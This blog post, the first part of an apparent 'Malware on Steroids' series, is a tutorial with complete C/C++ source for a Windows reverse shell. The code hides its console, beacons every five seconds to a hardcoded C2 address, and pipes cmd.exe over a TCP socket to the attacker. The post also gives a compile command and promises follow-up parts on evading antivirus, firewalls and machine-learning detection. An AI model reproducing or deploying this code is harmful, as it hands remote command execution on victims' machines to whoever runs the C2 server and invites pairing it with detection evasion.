Malware on Steroids – Part 1: Simple CMD Reverse Shell

Malware on Steroids 1

The Prologue

This is my reposting of the blog series I wrote here at ScriptDotSh

If you haven’t watched the videos yet, here are my links to both the antivirus evasions I performed:

1. Windows Cloud ML Defender Evasion

2. Kaspersky AV Evasion

Besides the above two, I was also able to evade the Symantec Endpoint Protection which is again based on Machine Learning and McAfee as well. Instead of uploading videos for them, I decided to just write up a whole new series divided into 3 parts each as follows:

Malware on Steroids Part 1: Simple CMD Reverse Shell
Malware on Steroids Part 2: Evading AntiVirus in a Simulated Organizational Environment
Malware on Steroids Part 3: Evading Machine Learning Detection

So before we get started, let me tell you that this is not a beginner’s blogpost. You will require atleast some programming experience in C/C++ & Python. If you want some basic knowledge on writing malwares, you can read up my other blogpost series for beginners on Malware Development over here: NII-Checkmate which is focused towards using Windows API calls in C/C++ to write custom malwares with custom Handlers in Python3.

In this post, we will be walking through a simple C/C++ based reverse CMD shell over TCP. Remember, that this is not fully undetectable. In the next post, I will publish on how to write enterprise grade malwares which are totally undetectable by Offline Antiviruses, and how we can code in C/C++ to use HTTP instead of TCP over Proxy, using hostname instead of IP addresses for C2 Servers and evading Firewall detection. And in the final part, I will be writing on Evading Antiviruses which use Machine Learning to detect anomalous behaviour of the executables.

Our main aim will be to evade everything and at the same time keep our executable size as low as possible. As we code and use encryption over time, the size of the executable will increase, so we need to keep a tab on which external libraries are we using and how to compile the code, whether statically or dynamically. If you are using g++ to compile the below executable, the size should be around 21Kb, for mingw cross compilers, which I am using in Linux, the size of the malware is 13Kb and for cl i.e. Microsoft Compiler, the size goes around 87Kb size it does a lot of code optimization. Also, you can either use netcat, or build a python server to handle multiple communications for the reverse shells. As for me, I have built a C2 Server in Cython which uses multiprocessing to handle multiple bots simultaneously. I have named it Prometheus as you can see above.

Enough with the rant, let’s code something malicious….

#include <headers>

Below are the headers we will be using:

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024

In the above code, winsock2.h and ws2tcpip.h are used for windows socket communications over TCP/IP. windows.h is required for calling other processes, initiating other headers and calls. We are using #pragma comment(lib, “Ws2_32.lib”) to inform the compiler to statically compile this library into the executable. Without this, our executable won’t run in any machine unless they have Microsoft Visual C/C++ redistributable installed in their system. Since, we can’t be sure of this, we will link this library statically inside the executable instead of linking it dynamically so that it runs i.n every machine. And finally we define the buffer length for our socket’s recv and send function in a variable and give it a constant size of 1024 bytes.

P.S: If you are not using Microsoft Compiler, then you will have to link the executable statically by using the -lws2_32 option in g++/mingw32-g++.

I will be splitting the whole code into 2 functions. One will be the main function and the other will be the one which will perform the task of spawning a reverse shell. Let’s take a look at the main function.

main()

int main(int argc, char **argv) {
    FreeConsole();
    if (argc == 3) {
        int port  = atoi(argv[2]); //Converting port in Char datatype to Integer format
        RunShell(argv[1], port);
    }
    else {
        char host[] = "192.168.56.130";
        int port = 8080;
        RunShell(host, port);
    }
    return 0;
}

In the above code, my main function accepts 3 arguments. I am using the FreeConsole() function to disable the console window so that it is not visible to the user. If our program receives 3 arguments, it will use the 2nd argument as C2 IP and 3rd argument as C2 Port. If it doesn’t receive any arguement, it will use the hardcoded host and port as C2 Server and Port and forward it to another function called as RunShell() which runs the Reverse shell. Let’s take a look at the RunShell function now.

RunShell()

Before we get started, let me tell you that we need to make sure that our malware should keep on running even if it gets disconnected, either on purpose or by mistake. So, we will be using a while true loop and a Sleep function so that if we get disconnected, it will sleep for a few seconds and then connect back to us. This is called as beaconing. When doing a Red Team assessment, make sure you use custom time based beacons so that it doesn’t get detected at the Proxy level.

void RunShell(char* C2Server, int C2Port) {
    while(true) {
        Sleep(5000);    // 1000 = One Second

        SOCKET mySocket;
        sockaddr_in addr;
        WSADATA version;
        WSAStartup(MAKEWORD(2,2), &version);
        mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
        addr.sin_family = AF_INET;
   
        addr.sin_addr.s_addr = inet_addr(C2Server);  //IP received from main function
        addr.sin_port = htons(C2Port);     //Port received from main function

        //Connecting to Proxy/ProxyIP/C2Host
        if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
            closesocket(mySocket);
            WSACleanup();
            continue;
        }
        else {
            char RecvData[DEFAULT_BUFLEN];
            memset(RecvData, 0, sizeof(RecvData));
            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
            if (RecvCode <= 0) {
                closesocket(mySocket);
                WSACleanup();
                continue;
            }
            else {
                char Process[] = "cmd.exe";
                STARTUPINFO sinfo;
                PROCESS_INFORMATION pinfo;
                memset(&sinfo, 0, sizeof(sinfo));
                sinfo.cb = sizeof(sinfo);
                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
                WaitForSingleObject(pinfo.hProcess, INFINITE);
                CloseHandle(pinfo.hProcess);
                CloseHandle(pinfo.hThread);

                memset(RecvData, 0, sizeof(RecvData));
                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
                if (RecvCode <= 0) {
                    closesocket(mySocket);
                    WSACleanup();
                    continue;
                }
                if (strcmp(RecvData, "exit\n") == 0) {
                    exit(0);
                }
            }
        }
    }
}

So basically, our function accepts the C2IP and C2Port details from the main function. Next it sleeps for 5 seconds. It then initializes the Sockets for TCP/IP. I won’t be explaining this, since I have explained this previously in my Malware Development Blogpost of NII which I’ve mentioned above.

The main portion starts on line 16. If we are unable to connect to the server, it will close the socket and repeat the while loop. Once we are connected to the C2IP and C2Port, we will then wait for any data to be sent over the network. Even something like a newline is good. If we however receive a buffer with zero length (line 24, 25), then it means the socket got disconnected and we will again sleep and reconnect after 5 seconds.

Line 31 is where spawning the shell starts. We use a variable called Process which contains the string cmd.exe. We initialize a struct called STARTUPINFO and PROCESS_INFORMATION. The STARTUPINFO struct contains details as to what all things should be taken care of before the process starts, and PROCESS_INFORMATION contains details about the new process,parent process, its child process, other threads and how it will function. The important part here however, is on line 37, where I am typecasting mySocket to a HANDLE, and passing all the input(hStdInput), output(hStdOuput), error(hStdError) of STARTUPINFO struct. In the next line i.e. line 38, I am creating a process with CreateProcess API which creates a cmd.exe process using the above variable and pipes the input, output and error to the HANDLE using &sinfo created above. This sinfo will send all the data over socket to our C2Server and we can view all the errors and output of commands we execute in the cmd process.

Finally, we wait for this child process i.e. cmd.exe to finish and close the process handles. At the end, on line 44, I will again wait for buffer to be received over the network. If I receive a string containing “exit\n”, it will exit our socket program, else will continue with the while loop.

you can compile the above malware in g++ or mingw32-g++ using the below command:

$ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

The final source code is uploaded to my Github profile

The  Epilogue

Below is how it looks like when you execute it. Its on my windows 7 VM. If you see the properties of the malware that we just wrote, it specifies that its of just 13KB as mentioned previously.

Remember that this is just the basic skeleton of the malware. Malwares that are used during Red Teaming or APT scenarios requires the program to automatically detect proxy, use HTTP/HTTPS/DNS/ICMP for exfiltration, check for proxy credentials, evade Firewall, IPS, Endpoint protection, Host based IDS, Sandboxes, Machine Learning based Antivirus, DPI (Deep Packet Inspection)  and a lot of other stuff. At the same you need to perform encryption inside the executable itself in order to make it harder for a Reverse Engineer to crack your malware.

We will be evading most of the above detection solutions by the time we reach the end of this series. Till then…

  •  
  •  
  •  
  •  
  •  
  •  
  •